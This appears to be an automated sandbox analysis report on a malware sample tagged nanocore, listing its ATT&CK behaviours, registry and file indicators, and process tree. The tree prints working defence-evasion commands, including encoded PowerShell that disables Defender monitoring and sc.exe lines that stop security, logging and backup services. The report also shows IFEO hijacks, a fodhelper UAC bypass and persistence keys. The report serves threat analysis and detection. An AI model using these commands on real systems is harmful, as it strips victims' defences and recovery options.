nanocore | 4e035f2b0dac50176a9e0a7c20492010fa7e125a14a39a862f8a13db21527627

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	candacevon.tv_nano.exe

Modifies security service 2 TTPs 1 IoCs

Modify Registry

Windows Service

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "4"	candacevon.tv_nano.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1540	powershell.exe

Disables RegEdit via registry modification 1 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	candacevon.tv_nano.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	candacevon.tv_nano.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	candacevon.tv_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\candacevon.tv_nano.exe"	candacevon.tv_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	candacevon.tv_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\candacevon.tv_nano.exe"	candacevon.tv_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	candacevon.tv_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\candacevon.tv_nano.exe"	candacevon.tv_nano.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

Windows Service

Disable or Modify System Firewall

T1562.004

pid	Process
5676	netsh.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

persistence privilege_escalation

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\Control Panel\International\Geo\Nation	candacevon.tv_nano.exe

Creates a file in the Startup directory 1 TTPs 3 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.bat	candacevon.tv_nano.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysUpdate.exe	candacevon.tv_nano.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysUpdate.exe	candacevon.tv_nano.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\candacevon.tv_nano.exe"	candacevon.tv_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\candacevon.tv_nano.exe"	candacevon.tv_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\candacevon.tv_nano.exe"	candacevon.tv_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\candacevon.tv_nano.exe"	candacevon.tv_nano.exe

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

ioc	Process
\??\F:\	powershell.exe

Creates a new local user account 1 TTPs 2 IoCs

Uses net.exe to create a new local user account, often for persistence or a backdoor account.

persistence

Local Account

T1136.001

pid	Process
1356	net.exe
5940	net1.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
2672	tasklist.exe

Drops file in System32 directory 6 IoCs

description	ioc	Process
File created	C:\Windows\system32\svchost.exe	candacevon.tv_nano.exe
File created	C:\Windows\system32\sysupdate.exe	candacevon.tv_nano.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	candacevon.tv_nano.exe
File opened for modification	C:\Windows\system32\kernel32.dll	candacevon.tv_nano.exe
File opened for modification	C:\Windows\system32\ntdll.dll	candacevon.tv_nano.exe
File opened for modification	C:\Windows\system32\user32.dll	candacevon.tv_nano.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
204	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	candacevon.tv_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	candacevon.tv_nano.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 TTPs 1 IoCs

persistence privilege_escalation

Debugger Evasion

T1622

pid	Process
2192	candacevon.tv_nano.exe

Launches sc.exe 28 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4372	sc.exe
5848	sc.exe
3292	sc.exe
3644	sc.exe
4392	sc.exe
4176	sc.exe
972	sc.exe
456	sc.exe
5468	sc.exe
5648	sc.exe
116	sc.exe
1316	sc.exe
5260	sc.exe
6080	sc.exe
2740	sc.exe
5792	sc.exe
3796	sc.exe
2564	sc.exe
3504	sc.exe
3920	sc.exe
5500	sc.exe
3612	sc.exe
1468	sc.exe
5496	sc.exe
4728	sc.exe
532	sc.exe
5540	sc.exe
4448	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 6 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
452	cmd.exe
3224	cmd.exe
4476	cmd.exe
3948	cmd.exe
4820	cmd.exe
1608	cmd.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	candacevon.tv_nano.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	candacevon.tv_nano.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
4236	netsh.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
3920	NETSTAT.EXE
5648	ipconfig.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
4392	systeminfo.exe

Interacts with shadow copies 3 TTPs 2 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
2564	vssadmin.exe
4544	vssadmin.exe

Modifies Control Panel 1 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\Control Panel\Desktop\WallpaperStyle = "2"	candacevon.tv_nano.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000_Classes\ms-settings\shell	candacevon.tv_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000_Classes\.pdf\ = "PDFBotnet"	candacevon.tv_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	candacevon.tv_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\candacevon.tv_nano.exe\" \"%1\""	candacevon.tv_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000_Classes\ms-settings\shell\open	candacevon.tv_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000_Classes\ms-settings\shell\open\command	candacevon.tv_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000_Classes\ms-settings\shell\open\command\DelegateExecute	candacevon.tv_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000_Classes\ms-settings\shell	candacevon.tv_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000_Classes\ms-settings	candacevon.tv_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000_Classes\ms-settings\shell\open	candacevon.tv_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\candacevon.tv_nano.exe"	candacevon.tv_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	candacevon.tv_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	candacevon.tv_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	candacevon.tv_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000_Classes\ms-settings\shell\open\command	candacevon.tv_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000_Classes\ms-settings	candacevon.tv_nano.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
5948	schtasks.exe
3088	schtasks.exe
2708	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1540	powershell.exe
1540	powershell.exe
1540	powershell.exe
1540	powershell.exe
2192	candacevon.tv_nano.exe
2192	candacevon.tv_nano.exe
2192	candacevon.tv_nano.exe
2192	candacevon.tv_nano.exe
2192	candacevon.tv_nano.exe
2192	candacevon.tv_nano.exe
2192	candacevon.tv_nano.exe
2192	candacevon.tv_nano.exe
2192	candacevon.tv_nano.exe
2192	candacevon.tv_nano.exe
2192	candacevon.tv_nano.exe
2192	candacevon.tv_nano.exe
2192	candacevon.tv_nano.exe
2192	candacevon.tv_nano.exe
2192	candacevon.tv_nano.exe
2192	candacevon.tv_nano.exe
2192	candacevon.tv_nano.exe
2192	candacevon.tv_nano.exe
2192	candacevon.tv_nano.exe
2192	candacevon.tv_nano.exe
2192	candacevon.tv_nano.exe
2192	candacevon.tv_nano.exe
2192	candacevon.tv_nano.exe
2192	candacevon.tv_nano.exe
2192	candacevon.tv_nano.exe
2192	candacevon.tv_nano.exe
2192	candacevon.tv_nano.exe
2192	candacevon.tv_nano.exe
2192	candacevon.tv_nano.exe
2192	candacevon.tv_nano.exe
2192	candacevon.tv_nano.exe
2192	candacevon.tv_nano.exe
2192	candacevon.tv_nano.exe
2192	candacevon.tv_nano.exe
2192	candacevon.tv_nano.exe
2192	candacevon.tv_nano.exe
2192	candacevon.tv_nano.exe
2192	candacevon.tv_nano.exe
2192	candacevon.tv_nano.exe
2192	candacevon.tv_nano.exe
2192	candacevon.tv_nano.exe
2192	candacevon.tv_nano.exe
2192	candacevon.tv_nano.exe
2192	candacevon.tv_nano.exe
2192	candacevon.tv_nano.exe
2192	candacevon.tv_nano.exe
2192	candacevon.tv_nano.exe
2192	candacevon.tv_nano.exe
2192	candacevon.tv_nano.exe
2192	candacevon.tv_nano.exe
2192	candacevon.tv_nano.exe
2192	candacevon.tv_nano.exe
2192	candacevon.tv_nano.exe
2192	candacevon.tv_nano.exe
2192	candacevon.tv_nano.exe
2192	candacevon.tv_nano.exe
2192	candacevon.tv_nano.exe
2192	candacevon.tv_nano.exe
2192	candacevon.tv_nano.exe
2192	candacevon.tv_nano.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2192	candacevon.tv_nano.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1540	powershell.exe
Token: SeIncreaseQuotaPrivilege	2744	WMIC.exe
Token: SeSecurityPrivilege	2744	WMIC.exe
Token: SeTakeOwnershipPrivilege	2744	WMIC.exe
Token: SeLoadDriverPrivilege	2744	WMIC.exe
Token: SeSystemProfilePrivilege	2744	WMIC.exe
Token: SeSystemtimePrivilege	2744	WMIC.exe
Token: SeProfSingleProcessPrivilege	2744	WMIC.exe
Token: SeIncBasePriorityPrivilege	2744	WMIC.exe
Token: SeCreatePagefilePrivilege	2744	WMIC.exe
Token: SeBackupPrivilege	2744	WMIC.exe
Token: SeRestorePrivilege	2744	WMIC.exe
Token: SeShutdownPrivilege	2744	WMIC.exe
Token: SeDebugPrivilege	2744	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2744	WMIC.exe
Token: SeRemoteShutdownPrivilege	2744	WMIC.exe
Token: SeUndockPrivilege	2744	WMIC.exe
Token: SeManageVolumePrivilege	2744	WMIC.exe
Token: 33	2744	WMIC.exe
Token: 34	2744	WMIC.exe
Token: 35	2744	WMIC.exe
Token: 36	2744	WMIC.exe
Token: SeDebugPrivilege	2192	candacevon.tv_nano.exe
Token: SeIncreaseQuotaPrivilege	2744	WMIC.exe
Token: SeSecurityPrivilege	2744	WMIC.exe
Token: SeTakeOwnershipPrivilege	2744	WMIC.exe
Token: SeLoadDriverPrivilege	2744	WMIC.exe
Token: SeSystemProfilePrivilege	2744	WMIC.exe
Token: SeSystemtimePrivilege	2744	WMIC.exe
Token: SeProfSingleProcessPrivilege	2744	WMIC.exe
Token: SeIncBasePriorityPrivilege	2744	WMIC.exe
Token: SeCreatePagefilePrivilege	2744	WMIC.exe
Token: SeBackupPrivilege	2744	WMIC.exe
Token: SeRestorePrivilege	2744	WMIC.exe
Token: SeShutdownPrivilege	2744	WMIC.exe
Token: SeDebugPrivilege	2744	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2744	WMIC.exe
Token: SeRemoteShutdownPrivilege	2744	WMIC.exe
Token: SeUndockPrivilege	2744	WMIC.exe
Token: SeManageVolumePrivilege	2744	WMIC.exe
Token: 33	2744	WMIC.exe
Token: 34	2744	WMIC.exe
Token: 35	2744	WMIC.exe
Token: 36	2744	WMIC.exe
Token: SeIncBasePriorityPrivilege	2192	candacevon.tv_nano.exe
Token: SeDebugPrivilege	5040	whoami.exe
Token: SeDebugPrivilege	2672	tasklist.exe
Token: SeDebugPrivilege	3920	NETSTAT.EXE
Token: SeIncreaseQuotaPrivilege	64	WMIC.exe
Token: SeSecurityPrivilege	64	WMIC.exe
Token: SeTakeOwnershipPrivilege	64	WMIC.exe
Token: SeLoadDriverPrivilege	64	WMIC.exe
Token: SeSystemProfilePrivilege	64	WMIC.exe
Token: SeSystemtimePrivilege	64	WMIC.exe
Token: SeProfSingleProcessPrivilege	64	WMIC.exe
Token: SeIncBasePriorityPrivilege	64	WMIC.exe
Token: SeCreatePagefilePrivilege	64	WMIC.exe
Token: SeBackupPrivilege	64	WMIC.exe
Token: SeRestorePrivilege	64	WMIC.exe
Token: SeShutdownPrivilege	64	WMIC.exe
Token: SeDebugPrivilege	64	WMIC.exe
Token: SeSystemEnvironmentPrivilege	64	WMIC.exe
Token: SeRemoteShutdownPrivilege	64	WMIC.exe
Token: SeUndockPrivilege	64	WMIC.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2192	candacevon.tv_nano.exe

Suspicious use of WriteProcessMemory 60 IoCs

description	pid	Process	procid_target
PID 2192 wrote to memory of 1540	2192	candacevon.tv_nano.exe	90
PID 2192 wrote to memory of 2740	2192	candacevon.tv_nano.exe	92
PID 2192 wrote to memory of 3292	2192	candacevon.tv_nano.exe	94
PID 2192 wrote to memory of 5792	2192	candacevon.tv_nano.exe	96
PID 2192 wrote to memory of 3796	2192	candacevon.tv_nano.exe	98
PID 2192 wrote to memory of 2564	2192	candacevon.tv_nano.exe	179
PID 2192 wrote to memory of 1468	2192	candacevon.tv_nano.exe	102
PID 2192 wrote to memory of 3644	2192	candacevon.tv_nano.exe	104
PID 2192 wrote to memory of 3504	2192	candacevon.tv_nano.exe	106
PID 2192 wrote to memory of 5496	2192	candacevon.tv_nano.exe	108
PID 2192 wrote to memory of 4392	2192	candacevon.tv_nano.exe	178
PID 2192 wrote to memory of 4176	2192	candacevon.tv_nano.exe	112
PID 2192 wrote to memory of 3920	2192	candacevon.tv_nano.exe	177
PID 2192 wrote to memory of 4728	2192	candacevon.tv_nano.exe	116
PID 2192 wrote to memory of 5648	2192	candacevon.tv_nano.exe	176
PID 2192 wrote to memory of 116	2192	candacevon.tv_nano.exe	120
PID 2192 wrote to memory of 972	2192	candacevon.tv_nano.exe	122
PID 2192 wrote to memory of 5500	2192	candacevon.tv_nano.exe	124
PID 2192 wrote to memory of 1316	2192	candacevon.tv_nano.exe	126
PID 2192 wrote to memory of 3612	2192	candacevon.tv_nano.exe	128
PID 2192 wrote to memory of 532	2192	candacevon.tv_nano.exe	130
PID 2192 wrote to memory of 5540	2192	candacevon.tv_nano.exe	132
PID 2192 wrote to memory of 456	2192	candacevon.tv_nano.exe	192
PID 2192 wrote to memory of 4448	2192	candacevon.tv_nano.exe	136
PID 2192 wrote to memory of 4372	2192	candacevon.tv_nano.exe	138
PID 2192 wrote to memory of 5432	2192	candacevon.tv_nano.exe	140
PID 2192 wrote to memory of 5260	2192	candacevon.tv_nano.exe	193
PID 2192 wrote to memory of 6080	2192	candacevon.tv_nano.exe	143
PID 2192 wrote to memory of 4544	2192	candacevon.tv_nano.exe	145
PID 2192 wrote to memory of 2744	2192	candacevon.tv_nano.exe	147
PID 5432 wrote to memory of 3472	5432	fodhelper.exe	149
PID 2192 wrote to memory of 5948	2192	candacevon.tv_nano.exe	150
PID 2192 wrote to memory of 3088	2192	candacevon.tv_nano.exe	152
PID 2192 wrote to memory of 3224	2192	candacevon.tv_nano.exe	158
PID 2192 wrote to memory of 452	2192	candacevon.tv_nano.exe	160
PID 2192 wrote to memory of 1608	2192	candacevon.tv_nano.exe	161
PID 2192 wrote to memory of 4820	2192	candacevon.tv_nano.exe	162
PID 2192 wrote to memory of 3948	2192	candacevon.tv_nano.exe	163
PID 2192 wrote to memory of 4476	2192	candacevon.tv_nano.exe	164
PID 2192 wrote to memory of 2708	2192	candacevon.tv_nano.exe	170
PID 2192 wrote to memory of 204	2192	candacevon.tv_nano.exe	172
PID 1608 wrote to memory of 2672	1608	cmd.exe	174
PID 4820 wrote to memory of 5040	4820	cmd.exe	175
PID 3948 wrote to memory of 5648	3948	cmd.exe	176
PID 4476 wrote to memory of 3920	4476	cmd.exe	177
PID 452 wrote to memory of 4392	452	cmd.exe	178
PID 3224 wrote to memory of 2564	3224	cmd.exe	179
PID 3224 wrote to memory of 64	3224	cmd.exe	180
PID 2192 wrote to memory of 1964	2192	candacevon.tv_nano.exe	181
PID 2192 wrote to memory of 1676	2192	candacevon.tv_nano.exe	183
PID 2192 wrote to memory of 5676	2192	candacevon.tv_nano.exe	184
PID 2192 wrote to memory of 5468	2192	candacevon.tv_nano.exe	186
PID 2192 wrote to memory of 5848	2192	candacevon.tv_nano.exe	188
PID 2192 wrote to memory of 3028	2192	candacevon.tv_nano.exe	190
PID 2192 wrote to memory of 4236	2192	candacevon.tv_nano.exe	191
PID 1676 wrote to memory of 3824	1676	net.exe	194
PID 2192 wrote to memory of 1356	2192	candacevon.tv_nano.exe	195
PID 2192 wrote to memory of 2904	2192	candacevon.tv_nano.exe	196
PID 1356 wrote to memory of 5940	1356	net.exe	199
PID 2904 wrote to memory of 3844	2904	net.exe	200

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\candacevon.tv_nano.exe
"C:\Users\Admin\AppData\Local\Temp\candacevon.tv_nano.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies security service
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Checks computer location settings
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Reads the TCP/IP host and domain name from the registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2192
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1540
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:2740
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:3292
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:5792
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:3796
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:2564
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:1468
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:3644
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:3504
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:5496
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wuauserv start= disabled
  2⤵
  - Launches sc.exe
  PID:4392
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop bits
  2⤵
  - Launches sc.exe
  PID:4176
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config bits start= disabled
  2⤵
  - Launches sc.exe
  PID:3920
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop vss
  2⤵
  - Launches sc.exe
  PID:4728
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config vss start= disabled
  2⤵
  - Launches sc.exe
  PID:5648
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop swprv
  2⤵
  - Launches sc.exe
  PID:116
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config swprv start= disabled
  2⤵
  - Launches sc.exe
  PID:972
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop EventLog
  2⤵
  - Launches sc.exe
  PID:5500
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config EventLog start= disabled
  2⤵
  - Launches sc.exe
  PID:1316
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SysmonLog
  2⤵
  - Launches sc.exe
  PID:3612
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SysmonLog start= disabled
  2⤵
  - Launches sc.exe
  PID:532
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop Sysmon
  2⤵
  - Launches sc.exe
  PID:5540
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config Sysmon start= disabled
  2⤵
  - Launches sc.exe
  PID:456
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop sense
  2⤵
  - Launches sc.exe
  PID:4448
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config sense start= disabled
  2⤵
  - Launches sc.exe
  PID:4372
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5432
- - C:\Users\Admin\AppData\Local\Temp\candacevon.tv_nano.exe
    "C:\Users\Admin\AppData\Local\Temp\candacevon.tv_nano.exe"
    3⤵
    PID:3472
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:5260
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:6080
- C:\Windows\System32\vssadmin.exe
